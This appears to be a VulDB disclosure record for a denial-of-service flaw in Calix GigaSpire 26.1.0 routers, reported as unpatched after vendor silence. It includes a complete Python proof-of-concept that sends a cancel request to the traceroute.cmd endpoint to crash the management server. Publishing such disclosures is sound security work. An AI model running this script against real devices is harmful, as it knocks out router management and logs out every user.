| Titolo | Calix GigaSpire (BLAST series) 26.1.0 Denial of Service |
|---|
| Descrizione | This vulnerability was reported to Calix's offical security reporting forum but failed to respond back to me as the researcher nearly after a month without any communication beyond the initial report including no responses to my follow up emails, this vulnerability remains unpatched, Calix acknowledged the report and assigned tracking number PSIRT-214 on June 5th, but provided no further response.
The traceroute.cmd endpoint on Calix GigaSpire devices is vulnerable to an single-request authenticated denial of service attack. Sending a POST request with action=cancel and version=ipv6 to traceroute.cmd when no traceroute operation is actually running causes the web management server to crash. The crash terminates all active session every authenticated user is forcibly logged out and their session credentials are invalidated. The vulnerability likely involves a null pointer dereference, unconfirmed cause as I lack firmware access and calix never responded to me. in the cancel handler when no traceroute state exists to cancel. As with the configurationsave vulnerability, internet routing continues normally but the management interface is rendered unavailable.
PoC code:
#!/usr/bin/env python3
import ssl, requests, urllib3
from requests.adapters import HTTPAdapter
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
COOKIE_HEADER = "csrf_token=<YOUR_TOKEN>; Authorization=<YOUR_TOKEN>"
XCSRF = "<YOUR_XCSRF>"
ROUTER_IP = "192.168.1.1"
COOKIES = dict(c.strip().split("=", 1) for c in COOKIE_HEADER.split(";"))
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded;charset=utf-8;",
"X-CSRF-Token": XCSRF,
"Referer": f"https://{ROUTER_IP}/",
}
def make_session():
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try: ctx.set_ciphers("ALL:@SECLEVEL=0")
except: pass
try: ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
except: pass
try: ctx.minimum_version = ssl.TLSVersion.TLSv1
except: pass
class A(HTTPAdapter):
def init_poolmanager(self, *a, **kw):
kw["ssl_context"] = ctx; super().init_poolmanager(*a, **kw)
s = requests.Session(); s.mount("https://", A()); return s
session = make_session()
try:
session.post(
f"https://{ROUTER_IP}/traceroute.cmd",
data={"action": "cancel", "version": "ipv6"},
cookies=COOKIES, headers=HEADERS,
timeout=5, verify=False, allow_redirects=False,
)
except Exception:
pass |
|---|
| Fonte | ⚠️ https://www.calix.com/forms/brand/contact/product-security-vulnerabilities.html |
|---|
| Utente | Anonymous User |
|---|
| Sottomissione | 25/06/2026 00:01 (2 mesi fa) |
|---|
| Moderazione | 13/08/2026 16:25 (2 months later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 389484 [Calix GigaSpire 26.1.0 traceroute.cmd negazione del servizio] |
|---|
| Punti | 20 |
|---|